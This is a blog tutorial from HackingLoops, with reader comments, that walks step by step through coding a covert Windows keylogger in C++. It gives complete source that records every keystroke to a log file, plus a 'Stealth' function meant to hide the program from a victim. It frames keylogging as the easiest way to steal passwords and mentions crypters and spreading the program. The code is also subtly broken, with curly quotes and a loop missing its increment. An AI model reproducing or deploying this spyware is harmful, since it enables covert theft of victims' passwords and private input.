How to code Keylogger in C++ Stepwise by HackingLoops

Hello friends, today I am going to teach you How to Code Keylogger in C Stepwise. Most of us are aware of the functionality of keyloggers. If not, let me give you some brief information about what keyloggers are and why they’re so important to hackers.

Keylogger Code in C

What are Keyloggers?

Keyloggers, as the word itself suggests, function by logging or capturing keys or key strokes. Technically, a keylogger is a software tool or program which is used to capture key strokes that a user presses in real time. Further processing depends on the nature of the keylogger, whether it is a physical or remote keylogger. The technique of capturing key strokes is called keylogging. It’s hard to believe, but keylogging is the easiest method to hack someone’s password. All you need is a good keylogger, a good crypter, and the knowledge to spread your keylogger program. Thousands of keyloggers are available online for free, but all of these are either detectable by antivirus or, ironically, have a virus attached to hack the user. Clearly, we need to be cautious when using freely available keyloggers or cracked versions of paid keyloggers. But why should you become prey to other hackers when designing your own is damn easy? Most novice hackers or “script kiddies” think that coding a good keylogger is a difficult and tedious task but believe me, after reading this tutorial, it will become a routine task for you to code a keylogger. Today, I will teach you the inward and outward logic of keyloggers.

I have divided keylogger coding into a few parts to make it easier for Hackingloops users to properly understand. Let’s start by learning how to code keyloggers in C stepwise. As you all learned above, keyloggers capture keystrokes. There are several methods for capturing keys, such as capturing the keyboard API input and output: these are called API based keyloggers. You can also simply capture the keys after they get decoded by your OS. The hardware keyboard sends instructions to OS drivers, which decode every key pressed on the keyboard into useful alphabets.

Note: You can use Borland C compiler or Code blocks C compiler for coding, I usually prefer DEV C i.e. Borland C compiler.

Now, open any compiler and create a new project. Simply open a text file and name its “anything.cpp” (or anything that you wish).

So let’s start coding:

Step 1: Declaring header directives to include the standard functions

#include <iostream>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>

Right now we only need these three header directives. These are mandatory.

Step 2: Declaring global calls

int SaveLogs (int key_stroke, char *file);

void Stealth(); //Declare stealth function to make you keylogger hidden.

Step 3: Main Function (a mandatory field, this executes the complete code and separate functions or classes)

int main()
{
Stealth();       // This will call the stealth function.
char i;          //Here we declare ‘i’ from the type ‘char’

while (1)     // Here we say ‘while (1)’ execute the code.
{
for(i = 8; i <= 190; i )
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,”MYLOGS.txt”);    // This will send the value of ‘i’ and “MYLOGS.txt” to our SaveLogs function.
}
}
system (“PAUSE”); // Here we say that the systems have to wait before exiting.
return 0;
}

/************************************Separator********/

Step 4: Writing capturing keys logic

int SaveLogs (int key_stroke, char *file)   // Here we define our SaveLogs function.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, “a “);

    cout << key_stroke << endl;

        if (key_stroke == 8) // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, “%s”, “n”);
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, “%s”, ” “);
        else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, “%s”, “[END]”);
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, “%s”, “[UP]”);
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, “%s”, “.”);
                            else
                                fprintf(OUTPUT_FILE, “%s”, &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

/************************************Seperator********/

Step 5: Stealth function
This part of the code will help you hide your keylogger from your victim and keep the program window hidden.

void Stealth()

{

HWND Stealth;

AllocConsole();

Stealth = FindWindowA(“ConsoleWindowClass”, NULL);

ShowWindow(Stealth,0);

}

Step 6: Email Function

Will be explained later.

Compiling your code will generate one binary or exe file. That is your keylogger!

I hope you enjoyed the article. Step 6 is not disclosed because I want to explain the difference between a physical keylogger and a remote keylogger. You might have realized that this is a physical keylogger: you can only view data on the same machine on which the binary is running.

If you have any doubts, please ask in the comments.

Comments

gohour says

May 24, 2016 at 12:53 pm

C:\Users\Guest\Desktop\key logger.cpp [Error] stray ‘\224’ in program., it is giving error in int savelogs

Doug says

October 4, 2015 at 3:01 am

this is a really easy to follow guide thanks.

seth says

June 22, 2015 at 4:31 am

Can You post The links for difference between physical and remote key logger and the email and ftp function?

yonas says

January 14, 2015 at 8:25 am

i was running the programme but i cant get where the file hidden

- Guest says
  
  July 31, 2015 at 11:13 pm
  
  The File is in the same folder as your binary (.exe).
  So If your path is C:\Keylogger than the file is in C:\Keylogger\bin\debug\
  
  Hope it helps you
  
  Dear Guest

How to code Keylogger in C++ Stepwise by HackingLoops

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